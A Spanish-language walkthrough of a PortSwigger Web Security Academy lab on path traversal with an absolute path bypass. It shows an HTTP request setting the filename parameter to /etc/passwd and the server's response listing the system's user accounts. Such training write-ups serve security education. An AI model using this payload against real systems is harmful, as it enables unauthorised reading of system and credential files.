Lab 2: File path traversal, traversal sequences blocked with absolute path bypass

https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass

Analizamos el codigo de la aplicacion HTML y encontramos lo siguiente:

https://0a6a00de035c123e82e72e2d00f5002f.web-security-academy.net/image?filename=8.jpg

Teniendo en cuenta lo anterior, se procede a cambiar el valor del parametro de filename.

La peticion quedaria asi:

GET /image?filename=/etc/passwd HTTP/2
Host: 0a6a00de035c123e82e72e2d00f5002f.web-security-academy.net
Cookie: session=N7gYKQa84EhdQrulvkDbr5jMnswePjVd
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: es-ES,es;q=0.9
Priority: u=0, i
Connection: keep-alive

Y la respuesta obtenida fue:

HTTP/2 200 OK
Content-Type: image/jpeg
X-Frame-Options: SAMEORIGIN
Content-Length: 2316

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
peter:x:12001:12001::/home/peter:/bin/bash
carlos:x:12002:12002::/home/carlos:/bin/bash
user:x:12000:12000::/home/user:/bin/bash
elmer:x:12099:12099::/home/elmer:/bin/bash
academy:x:10000:10000::/academy:/bin/bash
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
dnsmasq:x:102:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
systemd-timesync:x:103:103:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:104:105:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:105:106:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
mysql:x:106:107:MySQL Server,,,:/nonexistent:/bin/false
postgres:x:107:110:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
usbmux:x:108:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:109:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
mongodb:x:110:117::/var/lib/mongodb:/usr/sbin/nologin
avahi:x:111:118:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
cups-pk-helper:x:112:119:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
geoclue:x:113:120::/var/lib/geoclue:/usr/sbin/nologin
saned:x:114:122::/var/lib/saned:/usr/sbin/nologin
colord:x:115:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
pulse:x:116:124:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
gdm:x:117:126:Gnome Display Manager:/var/lib/gdm3:/bin/false